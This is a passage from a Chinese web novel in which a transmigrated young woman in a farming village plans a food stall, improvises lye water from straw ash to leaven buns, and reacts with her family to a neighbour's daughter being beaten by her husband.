李姝这会儿尽力保持着方才的状态，若是突然拘谨，更让人起疑心，便还是追着她爹问：“那最后通过的有多少人？”
“八十六人。”
“爹，其他几个村也是贴了告示要修路吗？我们宴石镇这么多村，怎么只去了这几个村的人？其他村的人没有去吗？”
“对，我打听过了，他们都是跟我们一样，自己村要修路，其他的村子，没听说要修的。”
这几个村子都是互相靠着，走路不会太远，在村里招人，下工回家也能近点，太远的花费在路上的时辰都够上工了，实在不划算。
“他爹，这么多人，要修多久啊？莫不是修一个月就修完了吧？”这么多人，张翠花有点担心工期，若是只做一个月，后面还得找别的活干，可不一定有这的工钱高。
“官爷们说的是到年关，这契书上写的字我也认不全，下次等儿子回来让他瞧瞧，官府给的契书，总不会蒙骗我们。”
“当初公爹让你多读点书，你还不愿意，现在看个契书还要问你儿子，悔不悔？”
说到这个张翠花就来气，捏着李忠的腰拧了又拧。
李忠摸摸鼻子，心虚地赔笑，不敢躲，也不敢接话。
以前家里条件好，即使成亲了公爹也整天让自个男人多读点书，个死脑筋就是不愿意，说看书就头疼，自己不是那块料，天天就知道围着地打转，差点把儿子也给带坏了。
幸好公爹后来把儿子送进书院，才绝了儿子长大后要跟着自家爹一起种地的想法。
李姝口观鼻鼻观心，无视了父母的打情骂俏。
“爹，我看一下。”
来到这里十几天了，李姝还没有看过这里的文字，哥哥的房间平时都是母亲打扫，况且到现在还不认识这位成绩很好的哥哥，李姝不太好进去。
还以为凭着自己现代人的认字基础，连蒙带猜应该没什么问题，谁知看了这契书上密密麻麻连个标点符号都没有的字，李姝脑子已经转不动了。
还是高估了自己的水平，无论现代社会比这里先进多少，跟学渣是没有关系的，学渣换了个社会，就不是学渣了？
李姝默默的把契书还给他爹，反正大概就是每月一两银子工钱，工期是四个月。
“姝儿，怎么样，写的对吗？从前你和你哥学过一些字的，可还记得？”张翠花一脸紧张，还是没有放弃让女儿回忆以前的事情。
“工钱是每月一两现银，工期是四个月。”
“娘，这些字我认得一些，但是不记得哥哥有教过我了。”
“好，好，认得就好，我女儿这么聪明，就是不记得人和事了，怎么会变成傻子！吴红枚那黑心肝的，敢咒我女儿傻，下次见到她定要她好看！”
......
张翠花越想越气，牙都要咬碎了，要是女儿这撞傻脑子的事被她传出去了，女儿以后名声还能好？还怎么说婆家，怎么在桃李村生活！
“娘，不气了，我脑子好着呢！”完了，这话一说，李姝觉得自己是真傻了。
李姝看了她爹一眼，让他劝一劝。
李忠就是不答话，端起水就喝了起来，眼睛盯着白开水，不知道的还以为杯子里有花。
爹，你...这是怕我娘殃及池鱼？刚我还觉得您高深莫测，如今这窝囊样，我刚刚真的看错了？
女儿啊，你虽聪慧了不少，但你还没成亲，不懂，关于吴红枚的事，爹是一句都不能主动搭茬，这都是经验，待会总有爹出场的时候。
“李忠，你一句话不说别以为我不知道你想什么！”
你看，
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这出场的机会不就来了。
“你是不是向着她，觉得我小题大做了？”
“怎么会，我是孩子的爹，还能不向着孩子，不向着孩子她娘吗？我也气着呢，这要是让她传出去了，我女儿名声就毁了！”李忠也的确生气，自己捧在心尖上的女儿，好不容易才捡回来一条命，如今更是愈发懂事，若是真传出女儿是傻子的消息，女儿以后就真完了。
“明儿我就去找那李进去，定要给女儿讨个公道！”
张翠花这才消气了一些，点了点自个男人的额头：“找里长一起去，你个榆木脑袋！”
“对，对，找里长一起，还是我家婆娘想得周到！”李忠一边说一边端起水杯给自家婆娘，笑得满脸褶皱。
“干什么呢，孩子还在这呢！”两人甜甜蜜蜜的一起转头看着女儿。
李姝端起水便喝了起来，眼睛盯着白开水，不知道的还以为杯子里有花。
看着父母为自己担忧，商量着要给自己讨公道的样子，刚刚因为她爹的眼神而产生的戒备瞬间消失，李姝第一次对这陌生的家有了一点归属感。
这份真实又温暖的感情，仿佛将内心深处的某个开关撬开了一角，源源不断的涌进来，李姝不自觉地红了眼眶。
原来我也有多愁善感的一天，李姝用水杯遮掩面容，悄悄整理了思绪，清丽的面容映在水中，眼尾还带着湿意，一时之间，李姝有点不习惯自己的变化。
为了庆祝女儿康复还有丈夫应聘成功，张翠花特地切了平时不舍得吃的腊肉，就着蒜苗一起炒了，又匆匆炒了个莴笋，李忠一回来一家人一直在说话，连饭都忘了做，坐在饭桌吃饭时，已是酉时末了。
“对了，爹，官府有没有说为何要修路？我看也就我们宴石镇的几个村子要修，咱平山县其他镇都不用修路吗？”
“只说是为了将我们几个村子的路打通，让百姓更方便探亲和往来。估摸着其他镇的路都不像咱们这里车马难通吧。”
李姝蹙眉，没有这么简单。
“怎么了姝儿，有什么问题吗？”李忠有点疑惑的问道。
“没有。”
整个平山县不可能只有宴石镇需要修路，可官府的举动虽奇怪，李姝目前也看不出来有什么问题，还是先顾着眼前吧。
夜深了。
夏日的蛙声已尽，初秋的夜晚寂静得很，屋内案几上的蜡烛噼啪声便格外明显，李姝伏在案几上皱眉，一只腿盘着，一只腿伸出榻外不自觉晃动，没了白日里的乖巧模样。
晚上托母亲去哥哥书房拿了笔墨纸砚，只跟母亲说要练字便敷衍过去了，张翠花还为女儿主动认字高兴了好一会，想着今晚自己对他爹的耳提面命让女儿醒悟了，要知道，以前女儿可是跟她爹一个样，看见字就头痛。
本想着把自己知道的小吃都记下来，以后摆摊可以多些种类，现代美食在这个时代或许能让自己踏上富婆之路。
只是...以前光吃了，没想着在家做。
视频倒是有看过，形形色色的美食账号李姝关注了很多，特别喜欢睡前刷，可短视频虽然是个精神粮食，但它不过脑，看了就忘。
写写划划，最终也只有几样面食，馅饼、葱油饼、馒头、包子、饺子以及手擀面，而李姝是个南方人，做面食的手艺...反正馒头包子皮，李姝就没揉光滑过。
至于家常菜，现在还用不到，没有店铺，没有本金，天方夜谭。
李姝想了想，还是老老实实卖馅饼和包子吧，至少顶饱。
5. 第 5 章
第二日早上，李姝教母亲做了韭菜鸡蛋馅饼，母亲虽然厨艺不怎么样，但是幸好她听劝，说加多少量就加多少量，说怎么揉就怎么揉，并且还能记住不出错，力气也大，比李姝自己揉面快多了。
“姝儿，你说我们什么时候去卖比较好？你爹明天就要去上工了，那我们明天去卖？”张翠花有点迫不及待了。
“娘，明天不去，等爹帮我们看一下工人都带些什么吃食，都在哪上工。”
“好，好，那我们就后日去如何。”
本就是个急性子，看着自己完成的吃食摆在眼前，张翠花恨不得现在就拿出去卖。
“娘，我还想做些包子，等明天爹去上工时，我们给爹送去，可带多点，吃不完分给工友，若他们吃了还想吃，那到时我们去卖就更容易卖出去。”
“好，都听姝儿的。”
吃完早饭，李姝就在琢磨怎么做包子，这里应该没有酵母，李姝记得之前做过老面馒头，查教程的时候看到过可以自然发酵，另外还得加碱，不然可能会发酸。
可是碱也是买的，这里有得卖？
这里的包子不知道是什么味道，会不会发酸？
“娘，集市上有碱面卖吗？”
“捡面？娘从未听过，这捡面是指捡来的面吗，那面店不是能赚很多钱？他们面都是捡来的，还花钱吗？”
意料之中，得另想办法了，只是，有什么碱性物质可以中和？植物？
“娘，我说的是煎面，我想着要不要做些新玩意，这面跟鸡蛋那样，加点葱花煎一煎是不是也好吃。”
“这倒是没见过，你想做就试试，我和你爹等会得去地里将稻草给收回来，趁着你爹还在家一起把这活干了。”
“好。”
吃罢早饭，李姝把做老面的面给和了，等自然发酵到晚上看能不能发起来。没有碱，只能先试一试，看这面会不会发酸。
弄好后李姝便出门找父母，自家田地离家不远，之前基本卖光了，现在剩下的就只有家门口那两亩水田，也难怪娘掉钱眼里了，天天急着要赚钱。
“姝儿，你怎么来了？这里不用你，爹娘很快就能做好，快回去，日头晒。”张翠花实在不忍心让女儿干这些粗活。
前些年家里光景好时，姝儿虽不能像城里的小姐那般丫鬟仆妇成群，十指不沾阳春水，可家里也没让姝儿做过地里的活。
后来家里落魄了，也就剩这点地，更用不着女儿下地干活，只过来送送饭便好。
“姝儿，听话，回去吧，这也没多少活。”李忠也是满脸慈爱的让女儿回去。
“没事的，爹，娘，我活动一下也好，天天躺床上都发霉了。”
桃李村的田地并非是整片平地的，而是依据地势，开成阶梯状，以村子的马路为界，北侧的田地较矮，南侧的较高，李家便是在南侧。
李姝转了转头，自家的田在中间南侧，边上不远有几棵桃树，再往南便是一片矮坡，矮坡后有一片竹林，再往后便是后山了。
“我就站那树下绑，不晒到太阳。”怕父母再劝，李姝赶忙跑去抱稻草。
见拗不过女儿，夫妇俩只好作罢，只说让她不舒服要立刻回去。
“爹，娘，这稻草我们要拿回去卖吗？”家里没有牛、猪这些家畜，种晚稻时这稻草直接埋田里当肥料不就行了，如今晚稻都种上了，怎地稻草还留到现在？
“这哪能卖什么钱啊，家家户户都有的东西，我们就是想着拿回去烧了，以后用来做粽子，你们兄妹俩打小就爱吃，经常嚷着要吃。”张翠花还是发愁，女儿失忆后，很多事都忘了，得重新教才行。
李姝尴尬地笑笑，我格局小了，格局小了。
说到粽子，在现代时，李姝其实不喜欢吃甜的，但是特别喜欢吃灰水粽，每次吃时都不蘸糖，而是切成片放锅里煎，煎到有点焦之后，加入一点盐水，盐水渗进棕肉，整片粽子吃起来都是咸香味，口感外焦里糯，还特别香。
等下，灰水粽？是不是也叫碱水棕？碱水？
“爹，娘，我们把这些稻草都拿回去吧？”
“包个粽子不需要这么多，剩下的我们留在田里，可以当肥料。”
“娘，我们拿回去吧，我要用。”若是能成功，包子就有救了。
夫妇俩虽然不懂，但是实在疼女儿，让干什么干什么，三人把全部稻草都搬了回去。
回去后都晌午了，李姝实在累到不想动弹，中午便由母亲煮了稀饭，配了点萝卜干，加上早上剩的馅饼，一家人凑活着吃了一餐。
李姝睡了一个午觉，总算是歇过来了。
“娘，爹呢。”
张翠花拿着根木耙子在翻稻草，稻草要干透了才好烧灰。
“你爹去找里长了，今天一大早你爹就去了一趟，里长夫人说里长去他女儿清芸那看外孙了，要晌午后才能回，这不，你爹吃完午饭不久就去了，觉都没歇。”
“去女儿家，哪能那么快回来？”
“我也这么说，你爹就待不住，非要早早去。”
“我们要不要去看看，万一爹吃亏怎么办？”李忠稍稍有点腹黑，李姝相处这几日已看出来了，可话少，不太像是能言善辩的模样，李姝有点担心他受气。
“不用担心，你爹能着呢，肯定不会吃亏的。”
这么有信心？
“对了姝儿，这些稻草你要用来做什么？”
“娘，这些稻草都烧了，咱们把灰都收起来，明天您就知道了。”
“好，趁现在日头晒，将这稻草上的水晒干，日落时分娘就烧了。”
秋老虎里的正午，日头照样吓人，母女俩就只坐在屋前的桃树下乘凉，可热气还是扑面而来，连风都夹杂着热气，要是有西瓜就好了！
张翠花拿着鞋底在缝，往后几个月自家男人要干的都是苦力活，最是费鞋子，得多准备几双。
李姝拿着蒲扇在想包子可以做什么馅的，家里没猪肉，也不舍得买，只能先做素馅的，素馅总不能又做韭菜鸡蛋吧？毕竟已经有饼了。
“娘，家里还有菇子吗？之前我是不是摘了一些，还没卖出去？”
“有一些，不多，本来你之前想摘多点，以后冬天卖，价格能高许多。”'');(window.adbyunion = window.adbyunion || []).push(id);})();
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“这会儿山上应该还有菇子吧，娘，我们去摘吧？”李姝拉着母亲就要起身。
“这会儿去？”张翠花一脸疑惑，怎么说着说着就去摘菇子了？
“对，娘，我们摘点菇子包包子吧？”
“屋里还有呢。”
反正没事干，山上的菇子只用出人工，都不用材料费，多好。
“要新鲜的，娘走吧？”李姝说着便去拿篓子，顺道给她娘拿了顶草帽。
张翠花本也是风风火火地性子：“行，听姝儿的。”
娘俩说走就走，往村口的虎儿山去了，后山太多不高不矮的杂树，互相穿杂，爬藤也多，实在不好走。
每年秋收后里长都得组织人清路，不然冬日里各家上山砍柴过冬时，容易出意外，摔跤还事小，若是被虫蛇咬了，才是危险，因此桃李村的村民很少往那去。
等回来时已是落日时分，两个人摘了一小篓，毕竟也没有走太远，这已经算是收获不错了，这次摘的菇子李姝没一个认识的，幸好是拉着母亲一起去，不然两眼一抹黑，白走了。
回来后张翠花就去张罗着把稻草给烧了，翻出来晒了一下午，已经干透了，李姝则去地里浇水，顺便摘了一棵白菜。
见父亲还没回，李姝怕出什么意外，便跟母亲说：“娘，爹还没回来，要不要去找找他？”
张翠花也疑惑，那吴红枚嘴欠但是嘴皮子不利索，李进更是锯嘴的葫芦，半天也说不出个字，李忠带着里长三两下都能搞定的事，去了这么久。
于是张翠花便让女儿在家等，自己出去寻人，稻草也烧得差不多了，不用留人看着。
李姝便一头扎进了厨房。
早上揉的面已经胀起来了，李姝用手撕开看了一下，已经有一点蜂窝状的小孔。
李姝往盆里再加了面水2比1的比例，搅拌均匀后盖上了粗布放置在一旁，晚上还得再加一次，这样做成面引子才能发得起来。
蒸锅里先将米饭蒸上，随后李姝在家里找了一圈，实在是没什么菜，腊肉肯定是不舍得吃的，李姝有点犯难，只能去地里再摘了两根丝瓜和一点葱叶回来，顺便把今天摘的菇拿了四五个出来一起洗了。
李姝把丝瓜去皮切成滚刀块，装入盘中备用，再将白菜撕成片，菇子切片，三个鸡蛋打散放至一边备用，最后再切了点蒜蓉和葱花。
起锅热油，油热后撒入蒜蓉，片刻后倒入丝瓜不停地翻炒，中途加点盐，炒至出水且丝瓜变软后，加水没过食材，水开后烧半盏茶时间，倒入打散的鸡蛋，期间不要搅拌食材，直至鸡蛋成型后再搅拌均匀，如此，丝瓜鸡蛋汤便做好了。
李姝将丝瓜鸡蛋汤端至饭桌，并用菜篮子倒扣在汤碗上，便着手炒白菜。
锅中加水，水开后放入切好的菇子焯水，将菇子的土腥气焯出来后，便捞出盘中，将锅洗干净后起锅热油，油热撒入食盐、酱油、蒜末爆香，再将白菜梗倒入锅中翻炒，炒软后加入白菜叶再次翻炒，炒软后加入焯水后的菇子，翻炒均匀后即可出锅。
李姝将菜端至桌上，用粗布盖住，今晚只能吃纯素宴了。
6. 第 6 章
父母还未回，屋外地上，稻草堆已经熄火了，李姝拿了张板凳坐在门口的桃花树下。
李家建在村尾，地势比村头要高，放眼望去，道路两旁三三两两的屋舍已开始冒出袅袅炊烟，家家户户附近都有桃树，稀稀疏疏的叶子晃晃悠悠地飘落，夕阳余晖下，像是一场盛大却无声的舞蹈在谢幕。
李姝惬意地靠在树下昏昏欲睡，太久没活动，今天只是帮忙捆了捆稻草上山摘了些菇子，体力就透支了，看来要多锻炼锻炼，病美人好看是好看，就是活不长。
“姝儿，怎地在这就睡了，快回屋睡。”张翠花回来看女儿在树下打盹，头都快点地了，心疼得赶忙催女儿回去。
“娘，我没事，爹呢，怎地没跟你一起回来？”
“你爹被里长叫去张家村了，一时半会儿回不来，你别不放在心上，老话都说立秋早晚凉，你身子刚好，别又风寒了，快进屋。”
李姝笑嘻嘻的应着，拉着母亲边进屋边问：“发生什么事了？里长不是去他女儿家了吗？”
“个天杀的张元仕，竟敢动手打自个婆娘，听说清芸被打得都动弹不了，要不是今早里长去女儿家看外孙，都不知道自个女儿受了这么大委屈。”
李忠本是去请里长主持公道的，谁曾想到里长家时遇到了赶牛车送里长去张家村的大力正回来报信，说清芸被打了，里长让回来叫人。
李忠一听立马就和里长两个儿子一起去叫人了，先去叫了里长家的几个族中兄弟，看人不够又去叫了好些村里的青壮，最后想到清芸是个女娃，把她嫂子婶婶也叫上，留里长夫人在家等消息，一群人浩浩荡荡地就去了张家村。
张翠花赶到的时候，就只见里长夫人抹着泪急得团团转，本是要一起去那张家村接女儿的，可自己身体不争气，病得不是时候，跟着去怕添乱，只能在家等消息。
桂香那几个离得近的已经在陪着了，也没法子劝慰，只跟着骂了好些难听的话。
要不是因为李姝身子刚好，张翠花担心女儿，只能先回来，不然都是要等到接回清芸再回来的。
张翠花越说越激动：“那张元仕还是个秀才，以前娘在家时看他文文弱弱的，在外面被欺负了也不敢打回去，还以为是个性子好的，没想到是个窝里横！”
当初里长夫人相中张元仕时，还特地过来问了张翠花，那会儿张翠花还帮着夸他模样好、性子好，如今却出了这样的事，脸都被打肿了。
李姝乖巧的听着，没做任何回应，说多了怕露馅，毕竟按原身的性格，听了这样的事，估计也只是在母亲背后担忧和害怕，或许还会跟母亲说自己以后也不嫁人了。
强迫自己去担忧害怕，李姝也演不出来。
那男人敢将人打到动弹不得，肯定不是第一次了。
有些人在外受了委屈没能力发泄的时候，就只能对着最亲的家人挥拳，仿佛只有这样才能证明自己一家之主的地位，让自己享受到权利带来的滋味，实在是可笑又恶心。
要是按她的性子，早就打回去了，甚至都能带着父亲兄弟去谈和离，哪会忍到自家人发现。
“姝儿，今晚清芸应会被接回家，明天你和娘给你爹送完饭后去她家一趟，你小的时候总是喜欢和桂香家的小渔跟在芸丫头后面，你们三个从小关系就好，明天正好去宽慰宽慰她。”
“好，娘，清芸姐会和离吗？”李姝没忍住，还是问了。
这个时代对女性的束缚不算很大，从爹娘能同意自己出去卖吃食就能看出来，那对于和离，是不是也能放宽呢。
“你这丫头，哪有刚闹矛盾就和离的道理，宁拆一座庙不毁一桩婚，况且芸丫头还有孩子，哪个做娘的会愿意离开自己的孩子。”张翠花笑着看向自己的女儿，小丫头还是太小了，不懂。
...李姝被气笑了，这叫闹矛盾？胸中瞬间腾起的怒火差点让李姝迷了双眼，反驳的话到了嘴边又压下了，可心里憋了一口气，闷得她皱起了眉头。
她知道，不是她娘不明事理，站着说话不腰疼，而是男女地位的悬殊和时代赋予女性的无形的职责让女子本就活得艰难，还有便是母爱的天性也让女子甘愿被困。
就算是现代社会，受家暴而一忍再忍的女性也不在少数，李姝只觉悲哀，为自己，也为那女子，“可清芸姐被打了就算了吗？”
“肯定不能就算了，你爹他们今天过去就是给你清芸姐撑腰呢，怎么的都要让那张元仕吃些苦头，让他不敢再有那打婆娘的腌臜心思。”
李姝低头吃了口饭，没再回应。
她不是救世主，只是普普通通的一个小丫头，她改变不了社会常态，灶台永远是她们的日常，名声是套在她们身上的无形锁链，只有生儿育女才是巩固她们地位的资本。
这些早已在每个女子心里根深蒂固，不是谁几句话就能改变的，李姝唯一能做的，就是尽力保持自己的本心。
可她也不知道，要在这里生活一辈子的自己，能保持本心多久呢？
像今日这样愿意为女子的不公而燃起怒火的自己，又能保持多久呢？
李姝不知道，她以前一个人过习惯了，又是在现代社会，只要关起门自己过自己的生活，即使死在家里也不会有人知道，完全不用接触到这些家长里短的事，如今在这个陌生的时代，李姝第一次在思考，应该要怎样生活。
张翠花也只是普普通通的一个村妇，她心里装的都是自己的小家，只要家人能平安顺遂，她的人生就圆满了，她不知道自己女儿此时心里装了满满地烦恼与迷茫。
看李姝不说话，张翠花以为女儿在担心自己亲爹，被吓到了，女儿已十四岁了，放在那些富贵人家里，十四岁已到了找婆家的年岁，只是他们是乡下人，没有那么讲究，她就这一个女儿，她和李忠都想将女儿留久一些，也养成了女儿这单纯的性子。
于是想了想，趁着这个机会
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，张翠花决定多教女儿些人情往来，本就摔到脑子不记事，很多事也要重新跟女儿说。
“姝儿，你可知道你爹为何对里长的事这么上心，都顾不得自个的事立马叫人去给里长撑腰了？”
李姝顿了顿，话题转得有些突然，她心里堵了一口气没处发泄，一时间不知道该怎么面对母亲突如其来的教导，只能泄愤似的塞了满口的饭，也顾不得再装乖巧。
她只想把自己的情绪压抑下去，无论如何，她不想在她娘面前暴露自己的真实性情，可能是潜意识里不想失去那二十多年来自己从未体会过的母爱吧。
张翠花正整理着自己接下来要说的话，也并未发现自己女儿吃饭突然豪放了不少。
李姝知道她娘想说什么，也有些意外，她娘性子大大咧咧的，还有点泼辣，没想到也有这么细腻的一面。
此时张翠花嘴角微微抿起，看着女儿的眼里带着怜爱和宠溺。
李姝看着她娘，觉得她娘像是一尊慈眉善目的佛像，夕阳斜照进来，在她身边环绕，仿若佛光，跟她平日里急冲冲的样子一点也不像。
原来，父母疼爱子女时，身上是有光芒的吗？
张翠花边回忆边说：“这要从你祖父说起，你祖父以前是个能人，明明是家里的独苗苗，年轻时也敢去从军杀蛮人，只是后来世道乱了，到处都是拿着杀昏君来扯大旗的人，一会儿这个王，一会儿那个帝，个个都打得停不下来。”
“你祖父不愿拿枪对着自己人，就回来从商了，担着货物在不同的地方倒卖，那会儿世道不太平，你祖父却也凭着自己的本事挣了些家产，可他自己也被耽误了，快三十的人了，连婆娘都没有。”
“你曾祖父母急得不行，好不容易相了一个，还是个身子骨弱的，你祖父却看上了，最终还是娶了你祖母，可你祖母生下你爹没几年就去世了，你祖父不愿再娶，最后也只得你爹一个独苗苗。”
“你祖父走南闯北不能带着你爹，你曾祖父母年纪大了有时也看不住孩子，你爹就是被村里的这些叔叔伯伯看着长大的，为了报答，当时里长推举时，你祖父也是出了很大力气推举现在的里长的。”
“你祖父后来本想带着你爹从商，可你爹对桃李村感情很深，不愿离开，于是你祖父便在村里买了好些地给你爹打理。”
“老天爷可能是瞎了眼了，你祖父后来竟得了病，这病花光了家里的银钱，你爹没法，最后连地都卖了，可你祖父还是走了，家里落魄，村里的这些叔叔婶婶们却也帮了咱很多，你哥当时考秀才，里长也是代表村里出了钱的。”
“人情就是这样，你欠我一分，我还你一分，一来二去，情分就深了，姝儿，娘只得你和你哥两个孩子，你爹又是个独苗苗，要是哪天你在娘家受欺负了，光靠你哥一个人是不成的，虽还有你舅舅他们，可远亲不如近邻，还是得靠村里的这些叔婶，你可记下了？”
“娘，我记下了。”
7. 第 7 章
秋风渐起，窗外传来枝叶簌簌的声音，李姝拉过薄被盖在肚子上，一时无法入睡。
晚上母亲的话还回响在耳边，她的慈爱虽是因她的女儿，可如今能感受到这份慈爱的是自己，李姝不禁想起了自己的亲生父母，有多久了呢，自己有多久没有见到亲人了？
母亲早亡，李姝已经不记得她的样子了，而父亲，重组家庭后就再也没有关心过自己，小时候不懂事，还会追着给他打电话，但在他一次又一次的敷衍中渐渐失望，最终形同陌路。
最后一次见父亲，是在他的葬礼上，他的妻女站在一旁满脸哀戚，而自己内心毫无波澜。
那时李姝觉得自己天生冷漠不懂感情，虽然父亲并未关心过自己，可每月的生活费从来没断过，但李姝在葬礼上却连眼尾都没湿。
如今她才知道，同样作为父母，张翠花他们是如此的不同，而自己，也并非冷漠，只是没有好好感受过亲情而已。
李姝叹了口气，像是终于把今晚那藏在心口的憋闷释放了，经过今晚母亲的一番话，李姝已经从内心将她当成了自己的亲生母亲，也更坚定了不能让家人发现自己不是原身的事。
一开始是担心若他们发现，会找所谓的道士来“救”自己女儿，封建社会的这些怪力乱神，李姝不相信，可这时代的人新，那届时自己肯定要受苦。
如今知道李姝他们有多疼爱儿女，便知道他们不会这么做，却又担心他们知道后，会伤心欲绝，只有自己成为真正的李姝，才是最好的办法。
这个时代虽有不完美，可也有值得自己珍惜的感情，回是回不去了，那就学会怎么在这个时代生活下去。
而今晚，李忠也久久未入睡。
还未到不惑之年，经历父亲生病，家里卖地换钱落魄至今，再到女儿撞头，李忠早已不是当初的固执少年郎，如今头上竟已初生白发，此时他眉头紧锁，脸上的皱纹似是更深了。
李忠转头推了推旁边的婆娘，张翠花从熟睡中被推醒，眯着眼睛嗔怪：“大半夜不睡觉，这是做什么？”
见李忠未像平日那般跟自己插科打诨，张翠花双眉微挑，有些疑惑，再看自家男人心事重重的模样，更是心里一慌，连忙坐起身来，随后小心靠在自个男人肩上：“这是怎的了？今日去张家村不顺利？”
半晌又担心起来，“可是哪里受伤了？天杀的，伤哪了？”张翠花双手不停地上下检查着李忠的身体，担忧得声音都有了哭腔。
李忠回神，看着自家婆娘急得快抹泪了，连忙将人揽过抱在怀中，眉头舒展了不少。
一边在张翠花看不见的地方嘴角悄悄抿起，得意的眼神藏都藏不住，一边还正经的安抚道：“莫担心，没有受伤。”
张翠花气得挥手捶了他胸口，“你吓死我了。”
“嘿嘿，我都不知道你这么担心我呢，以前成天就知道围着孩子转，往后能不能也记得围着自个男人转转？”
这人，越老越不正经，多大了，还吃孩子的醋。
想到方才他满脸的官司样，自家男人张翠花是知道的，虽然犟，年轻时连公爹也管不了他，可他也从没将什么事放心上。
家里光景好的时候，没见他有多显摆，只将精力放在自家地里，这几年家里光景不好，也没见他愁眉苦脸，凡是有活干，他也二话不说便埋头苦干，从未抱怨。
可今晚却是连觉都不睡了，张翠花推了推身后的男人，“到底怎么了？”
李忠见自家婆娘一脸严肃，也不敢再逗她，回道：“明天你带姝儿去县里的固生堂找大夫看看吧，之前大头不是说待姝儿身体好点就去县里问问大夫吗？我看姝儿身体是恢复了，明天正好去瞧瞧。”
张翠花更疑惑了，这男人，今天是怎么了？
“你今天怎么想到要带姝儿去看大夫？”
“怎么？你不想去？舍不得钱啊？”李忠低头看着自家婆娘一脸戏谑，突然想到这些天她像是掉钱眼的模样，心里叹了口气，是自己没能力，没让她过上好日子。
刚嫁给自己时，她从未因家里有些家底便在家享福，而是将自家上下都照顾得妥妥帖帖，后来爹生病花光家里的银钱，她也从未皱过眉头，如今为了这个家，她头发都白了些许。
“胡说些什么？”张翠花气得又捶了身后人几下，这人，正经不了多久就开始胡话。
李忠抱紧了怀里的人没说话，有些话没必要说，他知道她懂他。
腰间揽着自己的手越收越紧，仿佛有万千思绪藏在这个怀抱中，张翠花放松了身体，紧紧靠在身后男人的怀里，双手轻轻拍着男人的手，“到底怎么了？”
李忠想到今天清芸那丫头哭得脸色惨白的模样，心里又是一阵叹息。
之所以带姝儿去看大夫，是想确保姝儿是否真的痊愈，还有她这脑子以后会不会有什么后患，别到时成隐疾了。
至于记忆恢不恢复，李忠觉得倒是次要，特别是今天见了芸丫头，李忠愈发觉得姝儿如今这性子更好，只要身子没问题，记忆最好别恢复了，怕她恢复了记忆性子又跟从前一样。
以前姝儿性子跟清芸很像，两人都得家里宠爱，清芸年长一些，姝儿从小就喜欢跟在清芸身后。
两个小丫头性子都善，村子里也没人凶过她们，谁见着都想拿糖糕给她们吃，以至于两人性子都有些软，又太过乖巧。
若是以后，姝儿嫁的男人不好，以姝儿以前的性子，定是要被欺负的。
李忠不想自己以后也跟里长一样，看着自个女儿满身伤痕的被扶出婆家。
如今女儿沉稳有主意，还聪慧，虽还是太过乖巧，但至少以后被欺负了姝儿也能还回去，再不济也会找娘家人撑腰，不会忍着，若是性子再强硬一些，就更好了。
“翠花，往后姝儿这性子你还是得看着让她改一改，她这失忆也不知道以后能不能好，不能好的话你还可重新教教她，她要是能学到你的一半，我就放心了。”
都是老夫老妻了，李忠这么说，张翠花也听出了其中的担忧，明白了今晚自家男人为何愁眉苦脸，她转头看着
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身后的男人，小声地问：“今日清芸这丫头，伤得很重？”
李忠叹了口气，“大夫说要静养半个月，张元仕是个读书人，平日里没干过活，力气不大，芸丫头只是外伤，没有伤及肺腑。”
可李忠没说，即使是外伤，对芸丫头也是沉重的打击，只那脸上红通通的巴掌印，李忠看了一眼都不敢再看，怕看了就想到女儿。
里长看到后整个人都差点气晕过去了，清宏清乐两兄弟也是直接揍了张元仕，要不是他们拦着，怕是要闹出人命。
“呸，书都读到狗肚子里了。”一提到那看走眼的人，张翠花气又上来了，也是后悔之前对里长夫人说的话，怎么也没想到，张元仕是这么一个人。
李忠一边拍了拍怀里婆娘的肩膀安抚，一边说：“往后姝儿你多教教她，咱们乡下的姑娘，何必像那宅院的小姐那样温柔讲理？自己能快活才是真，若她能泼辣点，也能保护她自己。”
张翠花也知道这道理，只是以前总觉得自己能护好女儿，也能为她选个好夫婿，便由得她的性子来，如今发现自己眼光也不行，看着性子好的人也敢出狠手打自个婆娘，她往后也不敢再马虎了，便点头道：“晓得了。”
两人好久没这么谈心了，像是回到了刚成婚那会儿，心里都觉得舒畅不少，张翠花拍着自家男人的手，闲谈起来，“姝儿自从撞头后像是变了许多，你可有发现？”
李忠挑眉，眸光闪过疑惑，自家婆娘什么时候这么聪慧了？
“哪里变了？”
“今晚我跟姝儿说清芸被打的事，她竟没有害怕，以前姝儿可是会扑在我怀中害怕的。”
原来只是这样，李忠想了想，还是没再多说，免得她娘多想，只说：“女儿长大了，哪还会像小孩子一样撒娇。”
“也是，女儿十四了，过几年便到了出嫁的年纪，真有些舍不得。”就这一个女儿，还这么乖巧，张翠花一直疼得跟眼珠似的，一想到以后女儿嫁人，就难受得不行
李忠又何尝不是，不然也不会因为清芸的事想到女儿，发愁得睡不着。
“能多留几年就多留吧，明天看大夫时注意问问姝儿这脑子撞了会不会留有什么后患，免得我们糊里糊涂的，不注意着，往后姝儿有个什么事，我们都不知道，至于记不得事，记不得就记不得吧，也不强求。”
“知道了。”
明月偏西，李忠明日还要上工，压在心头的事也暂时放下了，困意终于袭来，便拉着自家婆娘睡觉，可自家婆娘没打算放过他。
“李忠，你刚说什么？性子有我一半就好了？”
“嘶~我错了，翠花，别拧了别拧了。”
...夜深了，连月亮都靠在树梢睡着了，可树梢却被屋里的动静吵醒，枝条轻轻晃动，月亮只好往旁边挪了挪。
而住在西侧的李姝，也已熟睡，父母的这些话李姝并不知道，若是知道，会觉得自己之前对父母的戒备是多么可笑吧，儿女对父母来说不仅仅是血缘的延续，他们还是世上最爱子女的人。
8. 第 8 章
翌日，李姝不出意外地晚起了，没有闹钟的日子，她到现在都没习惯。
早饭是张翠花一早起来做的，两人都不舍得叫女儿起床，便由着她睡到自然醒。
吃完早饭，李姝就把昨晚特意放井里的面引子端出来，打开粗布，一股酸味扑面而来，用筷子拨开，里面有细密的气孔，做面引子之前用开水烫过碗筷，万幸没有发霉。
“娘，昨天的稻草灰呢？”
“放在灶台边上了，簸箕装着。”张翠花在择韭菜，等会好做了馅饼给上工的男人送去。
李姝装了些稻草灰，用砂锅煮了后再用纱布过滤了三遍，一碗灰水便制成了。
可量要怎么掌握李姝也不知道，若是多了，面会发黄，少了又没办法中和酸味。
想了想，李姝分了三份，每份的面粉量基本相同但量都不大，面引子也用相同的量，即使失败了自家人也一样能吃了，不会浪费。
之后每一份面团都加不同量的灰水，看最终效果，这已经是李姝能想到的最好的办法了。
三个面团，李姝揉得手酸，期间母亲想帮忙，因为是第一次做，李姝不想假手于人，自己做才知道后面该怎么改，便没让母亲插手，只让她先看着。
